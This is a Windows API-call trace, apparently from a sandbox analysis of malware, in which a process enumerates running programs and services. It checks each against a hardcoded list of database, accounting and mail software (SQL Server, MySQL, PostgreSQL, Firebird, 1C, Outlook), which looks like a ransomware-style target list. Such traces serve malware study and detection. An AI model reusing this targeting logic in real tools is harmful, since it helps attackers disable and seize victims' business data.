	[0085.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0085.011] lstrlenW (lpString="WPDBusEnum") returned 10
	[0085.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0085.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0085.011] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0085.012] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0085.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0085.012] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fa1d8 | out: hHeap=0x4a0000) returned 1
	[0085.012] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x114
	[0085.014] Process32FirstW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0085.015] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0085.016] lstrlenW (lpString="System") returned 6
	[0085.016] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0085.016] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0085.016] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0085.016] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0085.016] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0085.016] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0085.016] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0085.016] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0085.017] lstrlenW (lpString="smss.exe") returned 8
	[0085.017] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0085.017] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0085.017] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0085.017] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0085.018] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0085.018] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0085.018] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0085.018] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0085.018] lstrlenW (lpString="csrss.exe") returned 9
	[0085.018] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0085.019] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0085.019] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0085.019] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0085.019] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0085.019] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0085.019] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0085.019] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0085.020] lstrlenW (lpString="wininit.exe") returned 11
	[0085.020] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0085.020] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0085.020] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0085.020] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0085.020] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0085.020] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0085.020] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0085.020] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0085.021] lstrlenW (lpString="csrss.exe") returned 9
	[0085.021] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0085.021] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0085.021] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0085.021] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0085.021] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0085.021] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0085.022] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0085.022] lstrlenW (lpString="winlogon.exe") returned 12
	[0085.023] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0085.023] lstrlenW (lpString="services.exe") returned 12
	[0085.023] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0085.025] lstrlenW (lpString="lsass.exe") returned 9
	[0085.025] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0085.026] lstrlenW (lpString="lsm.exe") returned 7
	[0085.026] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0085.027] lstrlenW (lpString="svchost.exe") returned 11
	[0085.027] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0085.027] lstrlenW (lpString="svchost.exe") returned 11
	[0085.028] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0085.028] lstrlenW (lpString="svchost.exe") returned 11
	[0085.028] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0085.029] lstrlenW (lpString="svchost.exe") returned 11
	[0085.029] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0085.030] lstrlenW (lpString="svchost.exe") returned 11
	[0085.030] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0085.031] lstrlenW (lpString="audiodg.exe") returned 11
	[0085.031] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0085.032] lstrlenW (lpString="svchost.exe") returned 11
	[0085.032] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.164] lstrlenW (lpString="svchost.exe") returned 11
	[0086.165] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0086.165] lstrlenW (lpString="dwm.exe") returned 7
	[0086.166] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0086.166] lstrlenW (lpString="explorer.exe") returned 12
	[0086.166] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0086.167] lstrlenW (lpString="spoolsv.exe") returned 11
	[0086.167] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0086.168] lstrlenW (lpString="taskhost.exe") returned 12
	[0086.168] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.169] lstrlenW (lpString="svchost.exe") returned 11
	[0086.169] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0086.170] lstrlenW (lpString="taskeng.exe") returned 11
	[0086.170] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0086.170] lstrlenW (lpString="taskhost.exe") returned 12
	[0086.171] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0086.171] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0086.171] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0086.172] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0086.172] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0086.173] lstrlenW (lpString="zoo.exe") returned 7
	[0086.173] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0086.174] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0086.174] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0086.175] lstrlenW (lpString="determined.exe") returned 14
	[0086.175] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0086.176] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0086.176] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0086.177] lstrlenW (lpString="hansen mails.exe") returned 16
	[0086.177] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0086.178] lstrlenW (lpString="choirsas.exe") returned 12
	[0086.178] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0086.179] lstrlenW (lpString="skirt_races.exe") returned 15
	[0086.179] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0086.179] lstrlenW (lpString="actors_radius.exe") returned 17
	[0086.180] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0086.180] lstrlenW (lpString="scheduling.exe") returned 14
	[0086.180] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0086.181] lstrlenW (lpString="michael.exe") returned 11
	[0086.181] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0086.182] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0086.182] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0086.183] lstrlenW (lpString="pleasure.exe") returned 12
	[0086.183] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0086.184] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0086.184] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0086.185] lstrlenW (lpString="electron.exe") returned 12
	[0086.185] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0086.186] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0086.186] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0086.187] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0086.187] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0086.187] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0086.187] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0086.188] lstrlenW (lpString="pointer.exe") returned 11
	[0086.188] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0086.189] lstrlenW (lpString="gd logos.exe") returned 12
	[0086.189] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0086.190] lstrlenW (lpString="algebra validity.exe") returned 20
	[0086.190] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0086.191] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0086.191] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0086.192] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0086.192] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0086.193] lstrlenW (lpString="dllhost.exe") returned 11
	[0086.193] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0086.193] lstrlenW (lpString="dllhost.exe") returned 11
	[0086.193] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0086.194] lstrlenW (lpString="p.exe") returned 5
	[0086.194] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0086.195] lstrlenW (lpString="cmd.exe") returned 7
	[0086.195] Process32NextW (in: hSnapshot=0x114, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0
	[0086.196] CloseHandle (hObject=0x114) returned 1
	[0086.196] Sleep (dwMilliseconds=0x1f4) 
	[0087.601] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0650
	[0087.601] EnumServicesStatusExW (in: hSCManager=0x35d0650, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0087.602] GetLastError () returned 0xea
	[0087.602] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x11e4) returned 0x5900d8
	[0087.602] EnumServicesStatusExW (in: hSCManager=0x35d0650, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5900d8, cbBufSize=0x11e4, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5900d8, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0087.605] CloseServiceHandle (hSCObject=0x35d0650) returned 1
	[0087.605] lstrlenW (lpString="Appinfo") returned 7
	[0087.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0087.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0087.605] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0087.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0087.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0087.606] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0087.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0087.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0087.606] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0087.606] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0087.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0087.606] lstrlenW (lpString="AudioSrv") returned 8
	[0087.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0087.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0087.606] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0087.606] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0087.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0087.606] lstrlenW (lpString="BFE") returned 3
	[0087.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0087.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0087.606] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
